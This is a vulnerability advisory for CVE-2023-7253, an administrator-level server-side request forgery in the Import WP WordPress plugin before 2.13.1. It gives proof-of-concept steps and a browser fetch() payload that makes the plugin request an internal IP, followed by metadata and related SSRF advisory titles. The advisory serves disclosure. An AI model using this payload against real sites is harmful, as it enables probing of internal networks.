Import WP < 2.13.1 – Admin+ Server-side Request Forgery | CVE 2023-7253 | Plugin Vulnerabilities

Description

The plugin does not prevent users with the administrator role from pinging conducting SSRF attacks, which may be a problem in multisite configurations.

Proof of Concept

1. As an admin, create a new importer in /wp-admin/tools.php?page=importwp
2. Visit /wp-admin/admin-ajax.php?action=rest-nonce and paste the following in your browser's console, replace $IMPORTERID with the newly created importer's ID, and $TARGETLOCALIP with the local IP to probe:

fetch('/wp-json/iwp/v1/importer/$IMPORTERID/upload', {
    method: 'POST',
    headers: {
        'X-WP-Nonce': document.body.innerHTML,
        'Content-Type': 'application/x-www-form-urlencoded',
    },
    body: 'remote_url=http%3A%2F%2F$TARGETLOCALIP%2FSSRF_PoC&filetype=csv&action=file_remote',
    credentials: 'include'
})
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error('Fetch error:', error));

Affects Plugins

Fixed in 2.13.1

References

CVE

Classification

Type

SSRF

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Mr Empy

Submitter

Mr Empy

Submitter website

https://mrempy.github.io

Submitter twitter

Verified

Yes

WPVDB ID

aeefcc01-bbbf-4d86-9cfd-ea0f9a85e1a5

Timeline

Publicly Published

2024-04-03 (about 1 year ago)

Added

2024-04-03 (about 1 year ago)

Last Updated

2024-04-03 (about 1 year ago)

Other

Published

Title

Published

2025-02-28

Title

Better Messages – Live Chat for WordPress, BuddyPress, PeepSo, Ultimate Member, BuddyBoss < 2.7.5 - Unauthenticated Limited Server-Side Request Forgery in nice_links

Published

2025-07-01

Title

Amazon Products to WooCommerce <= 1.2.7 - Unauthenticated Server-Side Request Forgery

Published

2024-10-15

Title

Edwiser Bridge < 3.0.8 - Authenticated (Subscriber+) Server-Side Request Forgery

Published

2025-09-25

Title

Snow Monkey < 29.1.6 - Unauthenticated Blind Server-Side Request Forgery

Published

2025-02-17

Title

ProfileGrid – User Profiles, Groups and Communities < 5.9.4.3 - Authenticated (Subscriber+) Limited Server-Side Request Forgery